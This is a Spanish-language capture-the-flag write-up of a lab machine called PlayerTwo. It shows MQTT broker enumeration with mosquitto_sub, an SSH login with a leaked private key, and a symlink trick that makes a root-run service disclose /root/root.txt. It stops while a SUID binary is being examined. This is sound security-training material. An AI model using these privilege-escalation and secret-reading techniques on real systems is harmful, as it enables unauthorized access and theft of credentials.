|     $SYS/broker/load/messages/received/15min: 15.38
|     $SYS/broker/load/connections/15min: 2.15
|     $SYS/broker/bytes/sent: 1272466
|     $SYS/broker/publish/bytes/sent: 1083458
|     $SYS/broker/load/bytes/received/1min: 2735.82
|     $SYS/broker/load/sockets/15min: 2.25
|     $SYS/broker/clients/expired: 0
|     $SYS/broker/load/publish/received/5min: 11.43
|     $SYS/broker/clients/total: 9
|     $SYS/broker/load/messages/received/5min: 16.14
|     $SYS/broker/clients/active: 1
|     $SYS/broker/load/bytes/received/15min: 2309.29
|     $SYS/broker/load/bytes/sent/15min: 2407.42
|     $SYS/broker/uptime: 33770 seconds
|     $SYS/broker/load/connections/5min: 2.46
|     $SYS/broker/load/publish/sent/15min: 2.98
|     $SYS/broker/clients/connected: 1
|     $SYS/broker/load/publish/received/1min: 13.06
|     $SYS/broker/version: mosquitto version 1.4.15
|     $SYS/broker/timestamp: Tue, 18 Jun 2019 11:42:22 -0300
|     $SYS/broker/load/connections/1min: 4.17
|     $SYS/broker/retained messages/count: 48
|     $SYS/broker/publish/messages/sent: 45
|     $SYS/broker/publish/messages/received: 6193
|     $SYS/broker/publish/messages/dropped: 0
|     $SYS/broker/load/messages/sent/5min: 36.41
|     $SYS/broker/load/bytes/sent/5min: 2701.89
|     $SYS/broker/load/sockets/5min: 2.66
|     $SYS/broker/load/messages/sent/1min: 74.65
|     $SYS/broker/subscriptions/count: 18
|     $SYS/broker/clients/maximum: 10
|     $SYS/broker/load/publish/sent/5min: 8.84
|     $SYS/broker/heap/maximum: 40808
|     $SYS/broker/messages/received: 8448
|     $SYS/broker/load/publish/received/15min: 11.14
|     $SYS/broker/clients/disconnected: 8
|_    $SYS/broker/load/messages/sent/15min: 29.51

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.54 seconds

Instalo mosquitto en mi equipo para poder conectarme

apt install mosquitto mosquitto-clients

Em este artículo explican como listar los topic de mosquito

proxychains mosquitto_sub -t '$SYS/#' -h 127.0.0.1 -p 1883

Pasado un tiempo, obtengo una id_rsa que me sirve como identidad para conectarme como observer por SSH

ssh observer@10.10.10.170 -i id_rsa
The authenticity of host '10.10.10.170 (10.10.10.170)' can't be established.
ED25519 key fingerprint is SHA256:BeSz+hYjER67iFw4Gw3stOGL8HamBdexYNTkP6WvcHE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.170' (ED25519) to the list of known hosts.
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 5.2.5-050205-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Jun 14 18:23:30 UTC 2023

  System load:  0.0               Processes:             160
  Usage of /:   88.1% of 4.30GB   Users logged in:       0
  Memory usage: 49%               IP address for ens160: 10.10.10.170
  Swap usage:   0%

  => / is using 88.1% of 4.30GB


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

117 packages can be updated.
5 updates are security updates.


Last login: Sun Dec  1 15:33:19 2019 from 172.16.118.129
observer@playertwo:~$ 

Puedo ver la primera flag

observer@playertwo:~$ cat user.txt 
80e82babc51209e9ca9b915b9ac38b51

Escalada

Una forma unintencionada es crear un alias para que la id_rsa apunte a la flag root.txt

observer@playertwo:~/.ssh$ ln -s /root/root.txt id_rsa
observer@playertwo:~/.ssh$ ls -la
total 16
drwx------ 2 observer observer 4096 Jun 14 18:28 .
drwxr-xr-x 6 observer observer 4096 Sep 15  2022 ..
-rw-rw-r-- 1 observer observer  563 Jun 14 18:27 authorized_keys
lrwxrwxrwx 1 observer observer   14 Jun 14 18:28 id_rsa -> /root/root.txt
-rw-r--r-- 1 observer observer  398 Sep  7  2019 id_rsa.pub

Al volverme a conectar al mosquitto obtengo el valor

proxychains mosquitto_sub -t '$SYS/#' -h 127.0.0.1 -p 1883

Retrieving the key from aws instance
Key retrieved..
b252a753de51b79212eccadbf10fe396

En el directorio /opt se encuentra un binario compilado SUID y cuyo propietario es root

observer@playertwo:/opt/Configuration_Utility$ ls -la
total 2164
drwxr-x--- 2 root observer    4096 Sep 15  2022 .
drwxr-xr-x 3 root root        4096 Sep 15  2022 ..
-rwxr-xr-x 1 root root      179032 Nov 15  2019 ld-2.29.so
-rwxr-xr-x 1 root root     2000480 Nov 15  2019 libc.so.6
-rwsr-xr-x 1 root root       22440 Dec 17  2019 Protobs

Si introduzco cualquier cosa devuelve un error

observer@playertwo:/opt/Configuration_Utility$ ./Protobs 

[*] Protobs: Service booting up.
[*] Protobs: Fetching configs...



  ___         _       _       
 | _ \_ _ ___| |_ ___| |__ ___
 |  _/ '_/ _ \  _/ _ \ '_ (_-<
 |_| |_| \___/\__\___/_.__/__/
                              v1.0 Beta



protobs@player2:~$ test

[!] Invalid option. Enter '0' for available options.

El menú principal tiene 5 opciones

protobs@player2:~$ 0

==Options=========
 1 -> List Available Configurations
 2 -> Create New Configuration
 3 -> Read a Configuration
 4 -> Delete a Configuration
 5 -> Exit Service
==================

De primeras es muy abstracto y no sé muy bien lo que hace

protobs@player2:~$ 1

==List of Configurations

protobs@player2:~$ 2

==New Game Configuration
 [ Game                ]: test
 [ Contrast            ]: 
 [ Gamma               ]: 
 [ Resolution X-Axis   ]: 
 [ Resolution Y-Axis   ]: 
 [ Controller          ]: 
 [ Size of Description ]: 

protobs@player2:~$ 

[!] Invalid option. Enter '0' for available options.

protobs@player2:~$ 3

==Read Game Configuration
 >>> Run the list option to see available configurations.
 [ Config Index    ]: test
  [ Game                ]: test
  [ Contrast            ]: 0
  [ Gamma               ]: 0
  [ Resolution X-Axis   ]: 0
  [ Resolution Y-Axis   ]: 0
  [ Controller          ]: 0

protobs@player2:~$ 4

==Delete Game Configuration
 >>> Run the list option to see available configurations.
 [ Config Index    ]: test

protobs@player2:~$ 5

[!] Protobs: Exiting normally...
[!] Protobs: Service shutting down...

Transfiero las librerías y el binario a mi equipo para analizarlo con Ghidra

PlayerTwo | Rubbx Writeups